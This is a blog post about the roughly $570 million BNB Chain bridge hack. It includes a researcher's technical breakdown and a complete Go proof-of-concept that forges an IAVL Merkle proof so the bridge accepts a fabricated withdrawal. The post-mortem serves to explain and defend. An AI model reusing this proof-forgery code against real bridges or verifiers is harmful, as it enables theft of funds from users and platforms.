DEV Community

Cover image for A possible $500 million loss on the World’s largest crypto exchange
GuildAudits
GuildAudits

Posted on

A possible $500 million loss on the World’s largest crypto exchange

According to a representative for Binance, the largest cryptocurrency exchange in the world, a $570 million hack has affected a blockchain connected to the company. This is the latest in a string of attacks that have hit the cryptocurrency industry this year.

In a tweet, Binance CEO Changpeng Zhao said that tokens had been stolen from a blockchain “bridge” utilized in the BNB Chain, formerly known as the Binance Smart Chain until February.

Utilizing blockchain bridges, cryptocurrency can be moved across other apps.

According to researcher Chainalysis, thieves are increasingly focusing on them, with about $2 billion stolen in 13 distinct hacks, largely this year.

According to Zhao’s post, the thieves made off with almost $100 million worth of cryptocurrency.

Later, according to a blog post by BNB Chain, the hacker withdrew a total of 2 million BNB coins, valued at about $570 million.

According to the email from the Binance representative, most of the BNB was still in the hacker’s digital wallet address, with about $100 million worth remaining “unrecovered.”

BNB Chain supports BNB, formerly known as Binance Coin, which, according to data provider CoinGecko, is the fifth-largest cryptocurrency in the world with a market value of over $45 billion.

Technical details on the Binance Hack — BY Samczsun

Five hours ago, an attacker stole 2 million BNB (~ $566M) from the Binance Bridge. During that time, I’ve been working closely with multiple parties to triage and resolve this issue. Here’s how it all went down.

Image

It all started when @zachxbt sent me the attacker’s address out of the blue. When I clicked into it, I saw an account worth hundreds of millions of dollars. Either someone had pulled off a huge rug, or there was a massive hack underway

Image

At first, I thought that @VenusProtocol had been hacked yet again. However, it only took a couple seconds to determine that the attacker really did deposit over $200M USD into Venus Instead, I needed to figure out where those funds came from

Image

The answer was that the attacker had somehow convinced the Binance Bridge to simply send them 1,000,000 BNB. Twice.

Image

Either Binance was finally running the biggest giveaway that Web3 had ever seen, or the attacker had found a critical bug.

I started by comparing the attacker’s transactions with legitimate withdrawals. The first thing I noticed was that the height used by the attacker was always the same — 110217401. The heights used by legitimate withdrawals were much bigger, such as 270822321

Image

Image

I also noticed that the attacker’s proof was significantly shorter than the legitimate withdrawal’s proof. These two facts led me to believe that the attacker had found a way to forge a proof for that specific block — 110217401. Now I had to figure out how these proofs worked

Image

On Binance, there’s a special precompile contract used to verify IAVL trees. If you don’t know anything about IAVL trees, don’t worry. I still don’t understand about 95% of it. Fortunately, all you and I need to reproduce the hack is the remaining 5%…

Image

Ok, so basically, when you verify an IAVL tree, you specify a list of “operations”. The Binance Bridge typically expects two of them: an “iavl:v” operation, and a “multistore” operation. Here are their implementations

https://github.com/cosmos/iavl/blob/de0740903a67b624d887f9055d4c60175dcfa758/proof_iavl_value.go#L61-L82

In order to forge a proof, we need both operations to succeed, and we need to last operation (the multistore) to return a fixed value (the hash of the specified block: 110217401) Looking at the implementation, we can convince ourselves with some effort that it’s impossible, or at least very difficult, to manipulate the root hash. Or you can just take my word for it. This means that we need our input value to be equal to one of the commit IDs

Image

Image

The input value of the “multistore” operation is the output value of the “iavl:v” operation. This means that we want to somehow control the root variable here, while still passing the value verification.

Image

Image

So how is the root hash computed? Well, it happens in this monster of a function called COMPUTEHASH. At a very very high level, it recursively goes over each path and leaf and does a bunch of hashing and really the implementation details don’t matter

https://github.com/cosmos/iavl/blob/de0740903a67b624d887f9055d4c60175dcfa758/proof_range.go#L237-L290

What does matter is that due to the way that hash functions are intended to work, we can basically say with certainty that any (path, nleaf) pair will produce a unique hash. If we want to forge a proof, those will need to stay the same.

Looking at the way that the proof is laid out in a legitimate transaction, we see it has a very long path, no inner nodes, and only one leaf node. This leaf node contains the hash of our malicious payload! If we can’t modify this leaf node, then we’ll need to add a new one.

Image

Of course, if we add a new leaf node, we’ll also need to add a new inner node to match

Image

Now we just have one last obstacle to face. How do we actually get COMPUTEHASH to return the root hash we want? Well, notice that eventually we’ll need a path to contain a non-zero right hash. When we find one that does, we assert it matches the intermediate root hash

Image

Let’s just instrument the code a bit so we can figure out what hash we need and….

Image

Image

All that’s left is to put it all together. We’ll take a legitimate proof and modify it so that:

1) we add a new leaf for our forged payload

2) we add a blank inner node to satisfy the prover

3) we tweak our leaf to exit early with the correct root hash

package main

import "fmt"
import "encoding/hex"
import "github.com/tendermint/tendermint/crypto/merkle"
import "github.com/tendermint/iavl"
import "github.com/tendermint/tendermint/crypto/tmhash"
import "strings"

func mustDecode(str string) []byte {
    if strings.HasPrefix(str, "0x") {
        str = str[2:]
    }
    b, err := hex.DecodeString(str)
    if err != nil {
        panic(err)
    }
    return b
}

func getValueOp(legitProofBytes []byte) iavl.IAVLValueOp {
    var legitProof merkle.Proof
    if err := legitProof.Unmarshal(legitProofBytes); err != nil {
        panic(err)
    }

    legitValueOpIntf, err := iavl.IAVLValueOpDecoder(legitProof.Ops[0])
    if err != nil {
        panic(err)
    }

    return legitValueOpIntf.(iavl.IAVLValueOp)
}

func main() {
    // https://bscscan.com/tx/0xe93f7c385e2510007f0b9319f001fed0fc1d718604fbab5c8afaa55fe0bfb624
    legitPayloadBytes := mustDecode("0x00000000000000000000000000000000000000000000000000000e35fa931a0000f86ea0424e42000000000000000000000000000000000000000000000000000000000094000000000000000000000000000000000000000088018fb570626fa400942218ffe5fd6215aefb988c5130b109047ef903cc943cf604378ded77537f02ed2d082a609a0235864b84633f540c")
    legitProofBytes := mustDecode("0x0af8090a066961766c3a76120e00000100380200000000010dda4d1add09db090ad8090a2f081910978cb90818a6b892810122206a972442231cdcbd083f53f5b6e7d1364d01a7c3e39481a393663421d9d91e730a2f081810c5cdba0518a6b89281012220015e9258171954de124eadca473471c85a218d1b4f30ab6046123df79b143e100a2f081710c58dbb0218a6b89281012220653ec3905c6eea07cd6122664c235a5bbee741796e9beb0090b651f1881aa6af0a2e081610c58d7c18a6b8928101222010da239ec014e3708bb63394a6ac659bf0a5775e01fb061ba47489f5a70a1e590a2e081510c58d4c18a6b8928101222016d590ab6e451029d6e0fe2e414519bad0722c7960915b09709a8d79489e689f0a2e081410c58d1c18a6b892810122206e5d42435b893a6ef3d2c3226dc3d8fc6298b50765c14401717cce9d4779b1740a2e081310c58d1018a6b89281012220a66c4e211073542bdfbe41b7ffb3c97233e1328e08307585572572e2086a70660a2e081210c58d0a18a6b89281012220bbea65146adcbf69db8aa5d40ea78b2881bbe49a1550a7848a2a15c0bd8c72a10a2e081110c58d0418a6b89281012a20b209c6eae3c638eedee790ba4ac4ba1a28e6ee9e508c312890faf68203f6c8f40a2e081010cfb60218a6b892810122205ea9f3914db297bb2a2167c73b48d65ef750412881a41b26431b505e1b0807120a2e080f10cfb60118a6b892810122206edc69967bdccfa5341c641bd114685664731b6fbc1eb5ae0255e5668050ae1c0a2d080e10cf7618a6b89281012220245256c699761062ee26233725281d53bff60d087e638efb01d7cfc2ccc042f20a2d080d10cf3618a6b8928101222022ed28f7b77e2939b6de5947f76be014455ca91bb158fbeee88c8f6428b285120a2d080c10cf1618a6b8928101222092ead60656d3de32a46b5103aa914b786576f7be80c82dc769e2246dfe3b43ff0a2d080b10cf0e18a6b892810122200de250a575819ad357b89726d95ff6337f644ad81972f16d21171ad50c4621060a2d080a10cf0618a6b89281012220e170c2cf4413e475fdeff411c28e5cbfa50e6c642eaa5b95cad752e53ac2f89d0a2d080910cf0218a6b8928101222016622f912b4b40e830cfddbca2aacdcb03f29e012aa0841b09598247d0fe7fd30a2d080810cf0118a6b8928101222031aa9188c3bf0870796542b3291cf9c0b4264cb05a7206844cec6eab3ed4485d0a2c0807104f18a6b8928101222068c7d5d1a61de64b294a73c830779d3d140cd6d1812efd36b01f3616a210da7c0a2c0806102f18a6b892810122201bfed012d1294aedcdd46d4519d41e8b7903aec21fb50276d68df1c0f1eeaa810a2c0805101f18a6b892810122208b5140b3f84965769728c21dad7765685f15fbea97addd4a18e0e19fbfa812dc0a2c0804100f18a6b892810122206212ddc1731eb3c7275c22028461ca618adb69ca958b970ba70a69efcaf746f00a2c0803100718a6b8928101222027d509ed505ba5189c02e09a8cebbd8da88b0f9fb80bd493303e956396d5fa7d0a2c0802100318a6b892810122204ee30871caf373210ae36efc699cb4dd1c1517c5715f1f771cbcc3e1763cbb760a2c0801100218a6b8928101222086053a337c6c00c08b0150f4b04c25d46a545bfca4ffd23bcb9f4bab5620a9c41a380a0e00000100380200000000010dda4d1220c9702dc684f40f649086354efd81036405d65bd7973b33a49bd094ada8bea34118a6b89281010ac2060a0a6d756c746973746f726512036962631aae06ac060aa9060a0f0a0376616c12080a0608a9b89281010a100a046d61696e12080a0608a9b89281010a310a03616363122a0a2808a9b89281011220bebbffe66b498475751018685043f7f8af3748c11b474ae4bab1ed6f872a6afc0a390a0b61746f6d69635f73776170122a0a2808a9b89281011220c3c3e14f9855a19fbb7787ec7334e7d1e89515bc968bbd95a3c0757b73a0f8910a340a06706172616d73122a0a2808a9b8928101122023c2f8353abab04889611cf1df2db289c433739a0b862982eb101d6bceddf8f40a340a06746f6b656e73122a0a2808a9b892810112206c729e5786bc7e711151be2c8fae1da0e046dffdf63019c1b2cab9c393e005c70a180a0c7374616b655f72657761726412080a0608a9b89281010a340a06627269646765122a0a2808a9b892810112201696f48f0831247582113e127d54c8dfd5a83ce7d59f87b5dbc43d3289287f000a330a057374616b65122a0a2808a9b89281011220e125aa32d98388b262476bcb57bc67e5a561694c4b4ab7cdc276592a4c8102520a310a03696263122a0a2808a9b89281011220a430a90e5901412e8883d71166115a54bf31165d4300ca128d891f32bad715890a310a03646578122a0a2808a9b89281011220a83f009853645e8b594bdccff32ceaf235d7c17b0e3a9bfda9d24fb4b9e768da0a300a027363122a0a2808a9b89281011220e4adc46ac3861ca6ee345294c621d2bc048079dab94ee30333c4585e2cbe30890a370a0974696d655f6c6f636b122a0a2808a9b89281011220d73dee2cd461a123714cce39fa8f820706fa270dc290257d6295dd8c29a870500a310a03676f76122a0a2808a9b89281011220bc32151659d2d697d4258aacb0c2e7a5c6b3d3dda375c6c634fd58d61dedf4c00a360a08736c617368696e67122a0a2808a9b89281011220399a04243f1a0ad8f1b0487eb19aefe91a357446154ea2c59bee1143d4c17bbe0a340a066f7261636c65122a0a2808a9b89281011220bbabfac717aea0c30b0bc13da73e1a501450cdf5cd4a0b9feeb35b4b7c10242e0a330a057061697273122a0a2808a9b8928101122065a9c4ae2bba63d233c7fc28d81151880b0a4533df8cbed77660356ae0aa7c5b")

    forgedPayloadBytes := mustDecode("0x000000000000000000000000000000000000000000000000000000000000000000f870a0424e4200000000000000000000000000000000000000000000000000000000009400000000000000000000000000000000000000008ad3c21bcecceda100000094489a8756c18c0b8b24ec2a2b9ff3d4d447f79bec94489a8756c18c0b8b24ec2a2b9ff3d4d447f79bec846553f100")
    forgedValueHash := tmhash.Sum(forgedPayloadBytes)

    legitValueOp := getValueOp(legitProofBytes)
    forgedValueOp := getValueOp(legitProofBytes)

    // we do a little forging
    forgedLeafNode := getValueOp(legitProofBytes).Proof.Leaves[0]
    forgedLeafNode.Key = append([]byte(nil), []byte(forgedValueOp.GetKey())...)
    forgedLeafNode.Key[13] = 255
    forgedLeafNode.ValueHash = forgedValueHash
    forgedValueOp.Proof.Leaves = append(forgedValueOp.Proof.Leaves, forgedLeafNode)
    forgedValueOp.Proof.InnerNodes = append(forgedValueOp.Proof.InnerNodes, iavl.PathToLeaf{})
    forgedValueOp.Proof.LeftPath[len(forgedValueOp.Proof.LeftPath) - 1].Right = mustDecode("A038FCFB3DD5C419DF679CE76FDAB39D21149069D037C39034CEF55AFDB9631B")

    rootHash := legitValueOp.Proof.ComputeRootHash()
    verifyErr := legitValueOp.Proof.Verify(rootHash)
    fmt.Printf("legitOp rootHash=%X verifyErr=%v\n", rootHash, verifyErr)

    rootHash = forgedValueOp.Proof.ComputeRootHash()
    verifyErr = forgedValueOp.Proof.Verify(rootHash)
    fmt.Printf("forgedOp rootHash=%X verifyErr=%v\n", rootHash, verifyErr)

    {
        verifyErr = legitValueOp.Proof.VerifyItem([]byte(legitValueOp.GetKey()), legitPayloadBytes)
        fmt.Printf("legit verifyErr=%v\n", verifyErr)
        verifyErr = legitValueOp.Proof.VerifyItem(forgedLeafNode.Key, forged

PayloadBytes)
        fmt.Printf("forged verifyErr=%v\n", verifyErr)
    }

    {
        verifyErr = forgedValueOp.Proof.VerifyItem([]byte(legitValueOp.GetKey()), legitPayloadBytes)
        fmt.Printf("legit verifyErr=%v\n", verifyErr)
        verifyErr = forgedValueOp.Proof.VerifyItem(forgedLeafNode.Key, forgedPayloadBytes)
        fmt.Printf("forged verifyErr=%v\n", verifyErr)
    }
}

Enter fullscreen mode Exit fullscreen mode

(It’s worth noting that this wasn’t the exact method the attacker used. Their proof path is much shorter, and I’m not sure how exactly they generated that. However, the rest of the exploit is identical, and I believe showing how to build it from the ground up is valuable)

In summary, there was a bug in the way that the Binance Bridge verified proofs which could have allowed attackers to forge arbitrary messages. Fortunately, the attacker here only forged two messages, but the damage could have been far worse.

In order to prevent future hacks, BNB Chain, which Binance describes as a “community-driven, open-sourced and decentralized ecosystem,” said it will add a new “governance mechanism” and increase the number of validators.

In one of the greatest cryptocurrency heists ever, hackers stole over $615 million from a blockchain bridge called Ronin Bridge in March. The United States has attributed North Korean hackers to the theft, which was one of the largest ever.

Top comments (0)